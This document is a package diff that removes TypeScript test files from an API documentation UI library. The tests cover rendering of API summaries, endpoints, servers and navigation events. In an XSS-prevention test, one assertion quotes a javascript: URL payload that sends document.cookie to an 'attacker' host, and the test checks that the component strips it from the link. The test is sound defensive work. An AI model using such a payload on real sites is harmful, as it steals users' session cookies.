@api-client/ui 0.2.0 → 0.2.2

package/test/amf/elements/ApiSummaryElement.test.ts

@@ -1,485 +0,0 @@
-import { fixture, assert, nextFrame, html, aTimeout } from '@open-wc/testing'
-import sinon from 'sinon'
-import { AmfDefinitions } from '@api-client/core/browser.js'
-import ApiSummaryElement from '../../../src/elements/amf/ApiSummary.element.js'
-import { EventTypes } from '../../../src/events/amf/EventTypes.js'
-import { DomEventsAmfStore } from '../../../src/amf/store/DomEventsAmfStore.js'
-import { AmfLoader } from '../AmfLoader.js'
-import '../../../src/define/amf/api-summary.js'
-import { ApiNavigationEvent } from '../../../src/events/amf/NavigationEvents.js'
-
-describe('ApiSummaryElement', () => {
-  const loader = new AmfLoader()
-  const store = new DomEventsAmfStore(window)
-  store.listen()
-
-  async function modelFixture(): Promise<ApiSummaryElement> {
-    const element = await fixture(html`<api-summary .queryDebouncerTimeout="${0}"></api-summary>`)
-    await aTimeout(1)
-    return element as ApiSummaryElement
-  }
-
-  describe('Basic', () => {
-    let model: AmfDefinitions.IAmfDocument
-    before(async () => {
-      model = await loader.getGraph()
-      store.amf = model
-    })
-
-    let element: ApiSummaryElement
-    beforeEach(async () => {
-      element = await modelFixture()
-    })
-
-    it('renders api title', () => {
-      const node = element.shadowRoot!.querySelector('[role="heading"]')
-      assert.dom.equal(
-        node,
-        `<div aria-level="2" class="api-title" role="heading" part="api-title">
-        <label part="api-title-label">
-          API title:
-        </label>
-        <span class="text-selectable">
-          API body demo
-        </span>
-      </div>`
-      )
-    })
-
-    it('renders version', () => {
-      const node = element.shadowRoot!.querySelector('.inline-description.version span')
-      assert.dom.equal(node, '<span class="text-selectable">v1</span>')
-    })
-
-    it('renders protocols', () => {
-      const node = element.shadowRoot!.querySelector('.protocol-chips')
-      assert.dom.equal(
-        node,
-        `<div class="protocol-chips">
-        <span class="chip text-selectable">
-            HTTP
-        </span>
-        <span class="chip text-selectable">
-          HTTPS
-        </span>
-      </div>`
-      )
-    })
-
-    it('renders description', () => {
-      const node = element.shadowRoot!.querySelector('marked-highlight .markdown-body')!
-      const content = node.innerHTML.trim()
-      assert.ok(content, 'has description')
-      const strong = node.querySelector('strong')
-      assert.dom.equal(strong, '<strong>markdown</strong>', { ignoreAttributes: ['class'] })
-      const anchor = node.querySelector('a')
-      assert.dom.equal(anchor, '<a>evil markdown</a>', { ignoreAttributes: ['class'] })
-    })
-
-    it('renders base uri', () => {
-      const node = element.shadowRoot!.querySelector('.url-value')!
-      assert.equal(node.textContent!.trim(), `http://{instance}.domain.com`)
-    })
-
-    it('renders endpoints template', () => {
-      const node = element.shadowRoot!.querySelector('.endpoints-title')
-      assert.dom.equal(node, `<label class="endpoints-title section">API endpoints</label>`)
-    })
-  })
-
-  describe('OAS properties', () => {
-    let model: AmfDefinitions.IAmfDocument
-    before(async () => {
-      model = await loader.getGraph('loan-microservice')
-      store.amf = model
-    })
-
-    let element: ApiSummaryElement
-    beforeEach(async () => {
-      element = await modelFixture()
-    })
-
-    it('provider section is rendered', () => {
-      const node = element.shadowRoot!.querySelector('[role="contentinfo"]')
-      assert.ok(node)
-    })
-
-    it('renders provider name', () => {
-      const node = element.shadowRoot!.querySelector('[role="contentinfo"] .provider-name')
-      assert.dom.equal(node, `<span class="provider-name text-selectable">John Becker</span>`)
-    })
-
-    it('renders provider email', () => {
-      const node = element.shadowRoot!.querySelector('[role="contentinfo"] .provider-email')
-      assert.dom.equal(
-        node,
-        `<a class="app-link link-padding provider-email text-selectable" href="mailto:JohnBecker@cognizant.com">
-        JohnBecker@cognizant.com
-      </a>`
-      )
-    })
-
-    it('renders provider url', () => {
-      const node = element.shadowRoot!.querySelector('[role="contentinfo"] .provider-url')
-      assert.dom.equal(
-        node,
-        `<a class="app-link provider-url text-selectable" href="http://domain.com" target="_blank">http://domain.com</a>`
-      )
-    })
-
-    it('renders license region', () => {
-      const node = element.shadowRoot!.querySelector('[aria-labelledby="licenseLabel"]')
-      assert.ok(node)
-    })
-
-    it('renders license link', () => {
-      const node = element.shadowRoot!.querySelector('[aria-labelledby="licenseLabel"] a')
-      assert.dom.equal(
-        node,
-        `<a class="app-link text-selectable" href="https://www.apache.org/licenses/LICENSE-2.0.html" target="_blank">
-        Apache 2.0
-      </a>`
-      )
-    })
-
-    it('Renders ToS region', () => {
-      const node = element.shadowRoot!.querySelector('[aria-labelledby="tocLabel"]')
-      assert.ok(node)
-    })
-  })
-
-  describe('Prevent XSS attacks', () => {
-    let model: AmfDefinitions.IAmfDocument
-    before(async () => {
-      model = await loader.getGraph('prevent-xss')
-      store.amf = model
-    })
-
-    let element: ApiSummaryElement
-    beforeEach(async () => {
-      element = await modelFixture()
-    })
-
-    it('provider section is rendered', () => {
-      const node = element.shadowRoot!.querySelector('[role="contentinfo"]')
-      assert.ok(node)
-    })
-
-    it('renders provider name', () => {
-      const node = element.shadowRoot!.querySelector('[role="contentinfo"] .provider-name')
-      assert.dom.equal(node, `<span class="provider-name text-selectable">Wally</span>`)
-    })
-
-    it('renders provider email', () => {
-      const node = element.shadowRoot!.querySelector('[role="contentinfo"] .provider-email')
-      assert.dom.equal(
-        node,
-        `<a class="app-link link-padding provider-email text-selectable" href="mailto:wallythebest@wally.com">
-        wallythebest@wally.com
-      </a>`
-      )
-    })
-
-    it('renders provider url without malicious href', () => {
-      const node = element.shadowRoot!.querySelector('[role="contentinfo"] .provider-url')
-      assert.dom.equal(
-        node,
-        `<a class="app-link provider-url text-selectable" target="_blank">
-          javascript:window.location='http://attacker/?cookie='+document.cookie</a>`
-      )
-    })
-
-    it('renders license region', () => {
-      const node = element.shadowRoot!.querySelector('[aria-labelledby="licenseLabel"]')
-      assert.ok(node)
-    })
-
-    it('renders license without malicious href', () => {
-      const node = element.shadowRoot!.querySelector('[aria-labelledby="licenseLabel"] a')
-      assert.dom.equal(
-        node,
-        `<a class="app-link text-selectable" target="_blank">
-        I swear if you click below you will have the most amazing experience ever. I promise.
-      </a>`
-      )
-    })
-
-    it('Renders ToS region', () => {
-      const node = element.shadowRoot!.querySelector('[aria-labelledby="tocLabel"]')
-      assert.ok(node)
-    })
-  })
-
-  describe('Endpoints rendering', () => {
-    let model: AmfDefinitions.IAmfDocument
-    before(async () => {
-      model = await loader.getGraph()
-      store.amf = model
-    })
-
-    let element: ApiSummaryElement
-    beforeEach(async () => {
-      element = await modelFixture()
-      await nextFrame()
-    })
-
-    it('adds separator', () => {
-      const node = element.shadowRoot!.querySelector('.separator')
-      assert.ok(node)
-    })
-
-    it('renders all endpoints', () => {
-      const nodes = element.shadowRoot!.querySelectorAll('.endpoint-item')
-      assert.lengthOf(nodes, 72)
-    })
-
-    it('renders endpoint name', () => {
-      const node = element.shadowRoot!.querySelectorAll('.endpoint-item')[2].querySelector('.endpoint-path')
-      assert.dom.equal(
-        node,
-        `<a
-          class="endpoint-path text-selectable"
-          data-shape-type="resource"
-          href="#/people"
-          title="Open endpoint documentation"
-          >
-          People
-        </a>`,
-        {
-          ignoreAttributes: ['data-id'],
-        }
-      )
-    })
-
-    it('sets data-id on name', () => {
-      const node = element.shadowRoot!.querySelectorAll('.endpoint-item')[2].querySelector('.endpoint-path')!
-      assert.ok(node.getAttribute('data-id'))
-    })
-
-    it('renders endpoint path with name', () => {
-      const node = element.shadowRoot!.querySelectorAll('.endpoint-item')[2].querySelector('.endpoint-path-name')
-      assert.dom.equal(node, `<p class="endpoint-path-name">/people</p>`, {
-        ignoreAttributes: ['data-id'],
-      })
-    })
-
-    it('sets data-id on path', () => {
-      const node = element.shadowRoot!.querySelectorAll('.endpoint-item')[2].querySelector('.endpoint-path')!
-      assert.ok(node.getAttribute('data-id'))
-    })
-
-    it('renders list of operations', () => {
-      const nodes = element.shadowRoot!.querySelectorAll('.endpoint-item')[2].querySelectorAll('.http-label')
-      assert.lengthOf(nodes, 4)
-    })
-
-    it('renders an operation', () => {
-      const node = element.shadowRoot!.querySelectorAll('.endpoint-item')[2].querySelector('.http-label')
-      assert.dom.equal(
-        node,
-        `<a
-          class="http-label pill"
-          data-method="get"
-          data-shape-type="operation"
-          href="#/people/get"
-          title="Open method documentation"
-          >get</a>`,
-        {
-          ignoreAttributes: ['data-id', 'data-parent'],
-        }
-      )
-    })
-
-    it('dispatches the navigation event from the endpoint node', () => {
-      const spy = sinon.spy()
-      element.addEventListener(EventTypes.Navigation.apiNavigate, spy)
-
-      const node = element.shadowRoot!.querySelector(`.endpoint-path[data-id]`) as HTMLElement
-      node.click()
-
-      assert.isTrue(spy.calledOnce, 'the event is dispatched')
-      const e = spy.args[0][0] as ApiNavigationEvent
-      const { detail } = e
-      assert.typeOf(detail.domainId, 'string')
-      assert.equal(detail.domainType, 'resource')
-    })
-
-    it('dispatches the navigation event from the endpoint path', () => {
-      const spy = sinon.spy()
-      element.addEventListener(EventTypes.Navigation.apiNavigate, spy)
-
-      const node = element.shadowRoot!.querySelector(`.endpoint-path[data-id]`) as HTMLElement
-      node.click()
-
-      assert.isTrue(spy.calledOnce, 'the event is dispatched')
-      const e = spy.args[0][0] as ApiNavigationEvent
-      const { detail } = e
-      assert.typeOf(detail.domainId, 'string')
-      assert.equal(detail.domainType, 'resource')
-    })
-
-    it('dispatches the navigation event from the operation click', () => {
-      const spy = sinon.spy()
-      element.addEventListener(EventTypes.Navigation.apiNavigate, spy)
-
-      const node = element.shadowRoot!.querySelector(`.http-label[data-id]`) as HTMLElement
-      node.click()
-
-      assert.isTrue(spy.calledOnce, 'the event is dispatched')
-      const e = spy.args[0][0] as ApiNavigationEvent
-      const { detail } = e
-      assert.typeOf(detail.domainId, 'string')
-      assert.equal(detail.domainType, 'operation')
-    })
-  })
-
-  describe('Server rendering', () => {
-    let ramlSingleServerAmf: AmfDefinitions.IAmfDocument
-    let oasMultipleServersAmf: AmfDefinitions.IAmfDocument
-    let oasMultipleServersWithDescriptionAmf: AmfDefinitions.IAmfDocument
-    let noServersAmf: AmfDefinitions.IAmfDocument
-    before(async () => {
-      ramlSingleServerAmf = await loader.getGraph()
-      oasMultipleServersAmf = await loader.getGraph('multi-server')
-      oasMultipleServersWithDescriptionAmf = await loader.getGraph('APIC-641')
-      noServersAmf = await loader.getGraph('no-server')
-    })
-
-    it('renders URL area with a single server', async () => {
-      store.amf = ramlSingleServerAmf
-      const element = await modelFixture()
-      const node = element.shadowRoot!.querySelector('.endpoint-url')
-      assert.ok(node)
-    })
-
-    it('renders single server URL', async () => {
-      store.amf = ramlSingleServerAmf
-      const element = await modelFixture()
-      const node = element.shadowRoot!.querySelector('.url-value')!
-      assert.equal(node.textContent!.trim(), 'http://{instance}.domain.com')
-    })
-
-    it('renders multiple servers', async () => {
-      store.amf = oasMultipleServersAmf
-      const element = await modelFixture()
-      const node = element.shadowRoot!.querySelector('.servers')
-      assert.ok(node)
-    })
-
-    it('renders multiple URLs', async () => {
-      store.amf = oasMultipleServersAmf
-      const element = await modelFixture()
-      const nodes = element.shadowRoot!.querySelectorAll('.server-lists li')
-      assert.lengthOf(nodes, 4, 'has 4 servers')
-      assert.equal(nodes[0].textContent!.trim(), 'https://{customerId}.saas-app.com:{port}/v2')
-      assert.equal(nodes[1].textContent!.trim(), 'https://{region}.api.cognitive.microsoft.com')
-      assert.equal(nodes[2].textContent!.trim(), 'https://api.openweathermap.org/data/2.5')
-      assert.equal(nodes[3].textContent!.trim(), 'http://beta.api.openweathermap.org/data/2.5')
-    })
-
-    it('does not render URL area when no servers', async () => {
-      store.amf = noServersAmf
-      const element = await modelFixture()
-      const urlNode = element.shadowRoot!.querySelector('.url-area')
-      assert.notOk(urlNode)
-      const serversNode = element.shadowRoot!.querySelector('.servers')
-      assert.notOk(serversNode)
-    })
-
-    it('renders multiple URLs with descriptions', async () => {
-      store.amf = oasMultipleServersWithDescriptionAmf
-      const element = await modelFixture()
-      const nodes = element.shadowRoot!.querySelectorAll('.server-lists li')
-      assert.lengthOf(nodes, 4, 'has 4 servers')
-      assert.equal(nodes[0].textContent!.trim(), 'https://api.aws-west-prd.capgroup.com/cdp-proxy/profiles')
-      assert.equal(nodes[0].querySelector('marked-highlight')!.markdown, 'MuleSoft PROD')
-      assert.equal(nodes[1].textContent!.trim(), 'https://api.aws-west-snp.capgroup.com/cdp-proxy-e2e/profiles')
-      assert.equal(nodes[1].querySelector('marked-highlight')!.markdown, 'MuleSoft UAT (for enterprise consumers)')
-      assert.equal(nodes[2].textContent!.trim(), 'https://api.aws-west-oz.capgroup.com/cdp-proxy-ite2/profiles')
-      assert.equal(nodes[2].querySelector('marked-highlight')!.markdown, 'MuleSoft QA (for enterprise consumers)')
-      assert.equal(nodes[3].textContent!.trim(), 'https://api.aws-west-oz.capgroup.com/cdp-proxy-dev2/profiles')
-      assert.notOk(nodes[3].querySelector('marked-highlight'))
-    })
-  })
-
-  describe('AsyncAPI', () => {
-    before(async () => {
-      const model = await loader.getGraph('async-api')
-      store.amf = model
-    })
-
-    let element: ApiSummaryElement
-    beforeEach(async () => {
-      element = await modelFixture()
-    })
-
-    it('renders server uri for API', () => {
-      const node = element.shadowRoot!.querySelector('.url-value')!
-      assert.equal(node.textContent!.trim(), 'amqp://broker.mycompany.com')
-    })
-
-    it('renders "API channels" message', () => {
-      assert.equal(element.shadowRoot!.querySelector('.section.endpoints-title')!.textContent, 'API channels')
-    })
-  })
-
-  describe('hideToc', () => {
-    before(async () => {
-      const model = await loader.getGraph()
-      store.amf = model
-    })
-
-    let element: ApiSummaryElement
-    beforeEach(async () => {
-      element = await modelFixture()
-      element.setAttribute('hideToc', 'true')
-      await nextFrame()
-    })
-
-    it('does not render endpoints template', () => {
-      const node = element.shadowRoot!.querySelector('.toc')
-      assert.isNull(node)
-    })
-  })
-
-  describe('Rendering for library', () => {
-    let libraryModel: AmfDefinitions.IAmfDocument
-    let apiModel: AmfDefinitions.IAmfDocument
-    before(async () => {
-      libraryModel = await loader.getGraph('APIC-711')
-      apiModel = await loader.getGraph()
-      store.amf = apiModel
-    })
-
-    let element: ApiSummaryElement
-    beforeEach(async () => {
-      element = await modelFixture()
-    })
-
-    it('clears everything when changing to RAML library', async () => {
-      store.amf = libraryModel
-      await aTimeout(2)
-      assert.notOk(element.summary)
-      assert.deepEqual(element.servers, [])
-      assert.deepEqual(element.endpoints, [])
-    })
-  })
-
-  describe('a11y', () => {
-    before(async () => {
-      const model = await loader.getGraph('loan-microservice')
-      store.amf = model
-    })
-
-    let element: ApiSummaryElement
-    beforeEach(async () => {
-      element = await modelFixture()
-    })
-
-    it('passes accessibility test', async () => {
-      await assert.isAccessible(element, {
-        ignoredRules: ['color-contrast'],
-      })
-    })
-  })
-})

package/test/amf/elements/SE-12957.test.ts

@@ -1,49 +0,0 @@
-import { fixture, assert, html, aTimeout } from '@open-wc/testing'
-import { ApiDefinitions, AmfDefinitions } from '@api-client/core/browser.js'
-import { AmfLoader } from '../AmfLoader.js'
-import { DomEventsAmfStore } from '../../../src/amf/store/DomEventsAmfStore.js'
-import ApiOperationDocumentElement from '../../../src/elements/amf/ApiOperationDocument.element.js'
-import ApiParameterDocumentElement from '../../../src/elements/amf/ApiParameterDocument.element.js'
-import '../../../src/define/amf/api-operation-document.js'
-
-// In OAS path parameters can be defined on an operation level. This is in conflict
-// with RAML which only allows variables on the endpoint level.
-// This tests for reading parameters from an endpoint that are locates on the
-// method level.
-describe('ApiOperationDocumentElement', () => {
-  describe('SE-12957', () => {
-    const loader = new AmfLoader()
-    const store = new DomEventsAmfStore(window)
-    store.listen()
-    const apiFile = 'SE-12957'
-
-    async function basicFixture(shape: ApiDefinitions.IApiOperation): Promise<ApiOperationDocumentElement> {
-      const element = await fixture(
-        html`<api-operation-document
-          .queryDebouncerTimeout="${0}"
-          .domainId="${shape && shape.id}"
-          .operation="${shape}"
-        ></api-operation-document>`
-      )
-      await aTimeout(0)
-      return element as ApiOperationDocumentElement
-    }
-
-    let model: AmfDefinitions.IAmfDocument
-    before(async () => {
-      model = await loader.getGraph(apiFile)
-    })
-
-    it('computes path parameters from AMF Endpoint model', async () => {
-      const data = loader.getOperation(model, '/api/v1/alarm/{scada-object-key}', 'get')
-      const element = await basicFixture(data)
-      const request = element.shadowRoot!.querySelector('api-request-document')!
-      const params = request.shadowRoot!.querySelectorAll(
-        'api-parameter-document[data-name="uri"]'
-      ) as NodeListOf<ApiParameterDocumentElement>
-      assert.lengthOf(params, 1, 'has a single path parameter')
-      const param = params[0]
-      assert.equal(param.parameter!.name, 'scada-object-key', 'has the model defined parameter')
-    })
-  })
-})

package/test/amf/events/ApiEvents.test.ts

@@ -1,32 +0,0 @@
-import { assert, fixture, html } from '@open-wc/testing'
-import sinon from 'sinon'
-import { AmfEvents, AmfEventTypes } from '../../../src/index.js'
-
-describe('Events', () => {
-  async function etFixture(): Promise<HTMLDivElement> {
-    return fixture(html`<div></div>`)
-  }
-
-  describe('Events.Api', () => {
-    describe('summary()', () => {
-      it('dispatches the event', async () => {
-        const et = await etFixture()
-        const spy = sinon.spy()
-        et.addEventListener(AmfEventTypes.Api.summary, spy)
-        AmfEvents.Api.summary(et)
-        assert.isTrue(spy.calledOnce)
-      })
-
-      it('waits until resolved', async () => {
-        const et = await etFixture()
-        const data = { id: 'test' }
-        et.addEventListener(AmfEventTypes.Api.summary, (input: Event) => {
-          const e = input as CustomEvent
-          e.detail.result = Promise.resolve(data)
-        })
-        const result = await AmfEvents.Api.summary(et)
-        assert.deepEqual(result, data)
-      })
-    })
-  })
-})

package/test/amf/events/EndpointEvents.test.ts

@@ -1,94 +0,0 @@
-/* eslint-disable @typescript-eslint/ban-ts-comment */
-import { assert, fixture, html } from '@open-wc/testing'
-import sinon from 'sinon'
-import { AmfEvents, AmfEventTypes } from '../../../src/index.js'
-
-describe('Events', () => {
-  async function etFixture(): Promise<HTMLDivElement> {
-    return fixture(html`<div></div>`)
-  }
-
-  describe('Events.Endpoint', () => {
-    describe('get()', () => {
-      const id = 'amf://id'
-
-      it('dispatches the event', async () => {
-        const et = await etFixture()
-        const spy = sinon.spy()
-        et.addEventListener(AmfEventTypes.Endpoint.get, spy)
-        AmfEvents.Endpoint.get(et, id)
-        assert.isTrue(spy.calledOnce)
-      })
-
-      it('the event has the "id" property', async () => {
-        const et = await etFixture()
-        const spy = sinon.spy()
-        et.addEventListener(AmfEventTypes.Endpoint.get, spy)
-        AmfEvents.Endpoint.get(et, id)
-        assert.deepEqual(spy.args[0][0].detail.id, id)
-      })
-
-      it('waits until resolved', async () => {
-        const et = await etFixture()
-        const data = { test: true }
-        et.addEventListener(AmfEventTypes.Endpoint.get, (e) => {
-          ;(e as CustomEvent).detail.result = Promise.resolve(data)
-        })
-        const result = await AmfEvents.Endpoint.get(et, id)
-        // @ts-ignore
-        assert.deepEqual(result, data)
-      })
-    })
-
-    describe('byPath()', () => {
-      const path = 'amf://id'
-
-      it('dispatches the event', async () => {
-        const et = await etFixture()
-        const spy = sinon.spy()
-        et.addEventListener(AmfEventTypes.Endpoint.byPath, spy)
-        AmfEvents.Endpoint.byPath(et, path)
-        assert.isTrue(spy.calledOnce)
-      })
-
-      it('the event has the "id" property', async () => {
-        const et = await etFixture()
-        const spy = sinon.spy()
-        et.addEventListener(AmfEventTypes.Endpoint.byPath, spy)
-        AmfEvents.Endpoint.byPath(et, path)
-        assert.deepEqual(spy.args[0][0].detail.id, path)
-      })
-
-      it('waits until resolved', async () => {
-        const et = await etFixture()
-        const data = /** @type any */ { test: true }
-        et.addEventListener(AmfEventTypes.Endpoint.byPath, (e) => {
-          // @ts-ignore
-          e.detail.result = Promise.resolve(data)
-        })
-        const result = await AmfEvents.Endpoint.byPath(et, path)
-        // @ts-ignore
-        assert.deepEqual(result, data)
-      })
-    })
-
-    describe('list()', () => {
-      it('dispatches the event', async () => {
-        const et = await etFixture()
-        const spy = sinon.spy()
-        et.addEventListener(AmfEventTypes.Endpoint.list, spy)
-        AmfEvents.Endpoint.list(et)
-        assert.isTrue(spy.calledOnce)
-      })
-
-      it('waits until resolved', async () => {
-        const et = await etFixture()
-        et.addEventListener(AmfEventTypes.Endpoint.list, (e) => {
-          // @ts-ignore
-          e.detail.result = Promise.resolve()
-        })
-        await AmfEvents.Endpoint.list(et)
-      })
-    })
-  })
-})

package/test/amf/events/EventHelper.ts

@@ -1,11 +0,0 @@
-// The event names should be unique across all events in all modules.
-const names: string[] = []
-
-export function ensureUnique(namespace: string, src: Record<string, string>): void {
-  for (const [key, value] of Object.entries(src)) {
-    if (names.includes(value)) {
-      throw new Error(`${namespace}.${key} has duplicated event name ${value}`)
-    }
-    names.push(value)
-  }
-}